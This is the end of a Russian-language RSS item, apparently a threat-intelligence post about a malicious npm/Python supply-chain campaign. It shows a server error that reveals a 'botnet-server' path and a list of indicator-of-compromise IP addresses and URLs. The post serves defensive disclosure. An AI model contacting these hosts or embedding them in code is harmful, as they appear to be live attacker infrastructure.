<pre class="wp-block-code"><span><code lang="json" class="hljs language-json language-json">
{<span class="hljs-attr">"statusCode"</span>:<span class="hljs-number">404</span>,<span class="hljs-attr">"message"</span>:<span class="hljs-string">"ENOENT: no such file or directory, stat '/root/botnet-server/public/index.html'"</span>}
</code></span></pre><br />
Эта строка проливает свет на возможные цели злоумышленника ☕️<br />
<br />
<strong>IoCs:</strong><br />
<pre class="wp-block-code"><span><code lang="yaml" class="hljs language-yaml language-yaml">
<span class="hljs-string">http://194.53.54.188:3001</span>
<span class="hljs-string">http://193.233.201.21:3001</span>
<span class="hljs-string">http://45.125.67.172:1337</span>
<span class="hljs-string">http://45.125.67.172:1228</span>
<span class="hljs-number">194.53</span><span class="hljs-number">.54</span><span class="hljs-number">.188</span>
<span class="hljs-number">193.233</span><span class="hljs-number">.201</span><span class="hljs-number">.21</span>
<span class="hljs-number">45.125</span><span class="hljs-number">.67</span><span class="hljs-number">.172</span>
</code></span></pre><br />
<span class="hashtag">#ti</span> <span class="hashtag">#npm</span> <span class="hashtag">#pyanalysis</span> <span class="hashtag">#scs</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
